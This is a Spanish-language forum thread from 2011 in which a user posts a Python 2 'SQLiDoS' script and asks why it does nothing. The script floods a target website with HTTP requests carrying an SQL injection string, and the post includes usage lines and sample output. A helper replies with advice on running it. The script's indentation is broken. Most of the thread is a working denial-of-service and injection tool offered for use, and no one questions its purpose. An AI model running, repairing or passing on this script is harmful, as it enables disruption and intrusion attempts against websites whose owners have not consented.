No me funciona este programa de python

Iniciado por VanX, 8 Agosto 2011, 16:22 PM

0 Miembros y 1 Visitante están viendo este tema.

VanX

Hola a todos, buscando encontre este code pero no funciona....

Cuando lo ejecuto no pasa nada en el terminal sale asi:

>

y no hace mas.... espero que me puedan ayudar ;)

Código (python) [Seleccionar]
#!/usr/bin/python
# SQLiDoS - SQL Denial of Service

import socket
import sys

if len(sys.argv) != 4:
    print "[+] Uso: SQLiDoS.py <Target Web> <SQLi Injection> <Connection Numbers>"
    sys.exit(1)

def attack():
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((sys.argv[1], 80))
print "[+] GET /" + sys.argv[2] + " HTTP/1.1"
connection.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
connection.send("Host: " + sys.argv[1]  + "\r\n\r\n");
connection.close()

Host = sys.argv[1]
SQLi = sys.argv[2]
CoNum = int(sys.argv[3])
print "[+] Connecting to %s" % (Host)
print "[+] Injecting %s" % (SQLi)
for i in range(1, CoNum+1):
attack()


Como ejecutarlo:
Código (python) [Seleccionar]
SQLiDoS.py www.sitioweb.com index.php?id=' 10

Funciona:
Código (python) [Seleccionar]
[+] Connecting to www.sitioweb.com
[+] Injecting index.php?id='
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1


Les agradezco la ayuda de antemano!

saludos

Novlucker

Estas abriendo la terminal de Python y debes de hacerlo desde ms-dos.

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

VanX

Uso ubuntu y uso la terminal de este, no entiendo  :(

Novlucker

Pero te has movido hasta el directorio donde tienes el script y le has pasado el parametro correcto?

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

VanX